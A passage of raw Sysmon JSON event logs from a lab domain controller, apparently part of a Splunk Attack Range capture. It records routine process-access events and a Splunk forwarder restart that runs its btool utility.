C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.383","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3023,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.383\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.383","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3024,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.383\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4078-5F2D-0000-0010C7FC0400}\r\nTargetProcessId: 4860\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.383","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4078-5F2D-0000-0010C7FC0400}","TargetProcessId":"4860","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3025,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.633\r\nSourceProcessGUID: {90617006-4078-5F2D-0000-0010C7FC0400}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4172\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.633","SourceProcessGUID":"{90617006-4078-5F2D-0000-0010C7FC0400}","SourceProcessId":"4860","SourceThreadId":"4172","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3026,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.671\r\nProcessGuid: {90617006-4078-5F2D-0000-0010C8FF0400}\r\nProcessId: 4788\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c btool server list kvstore --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-4078-5F2D-0000-0010C2F50400}\r\nParentProcessId: 4644\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE\" restart --waitonpid=2820","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.671","ProcessGuid":"{90617006-4078-5F2D-0000-0010C8FF0400}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c btool server list kvstore --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-4078-5F2D-0000-0010C2F50400}","ParentProcessId":"4644","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE\" restart --waitonpid=2820","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3027,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.664\r\nSourceProcessGUID: {90617006-4078-5F2D-0000-0010C2F50400}\r\nSourceProcessId: 4644\r\nSourceThreadId: 4636\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE\r\nTargetProcessGUID: {90617006-4078-5F2D-0000-0010C8FF0400}\r\nTargetProcessId: 4788\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+43bc6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+6665|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+14ab4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+d8a0|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.664","SourceProcessGUID":"{90617006-4078-5F2D-0000-0010C2F50400}","SourceProcessId":"4644","SourceThreadId":"4636","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE","TargetProcessGUID":"{90617006-4078-5F2D-0000-0010C8FF0400}","TargetProcessId":"4788","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+43bc6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+6665|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+14ab4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+d8a0|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\Splunk.EXE+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3028,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.664\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4078-5F2D-0000-0010C8FF0400}\r\nTargetProcessId: 4788\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.664","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4078-5F2D-0000-0010C8FF0400}","TargetProcessId":"4788","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3029,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.664\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.664","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3030,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.664\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.664","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3031,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.664\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 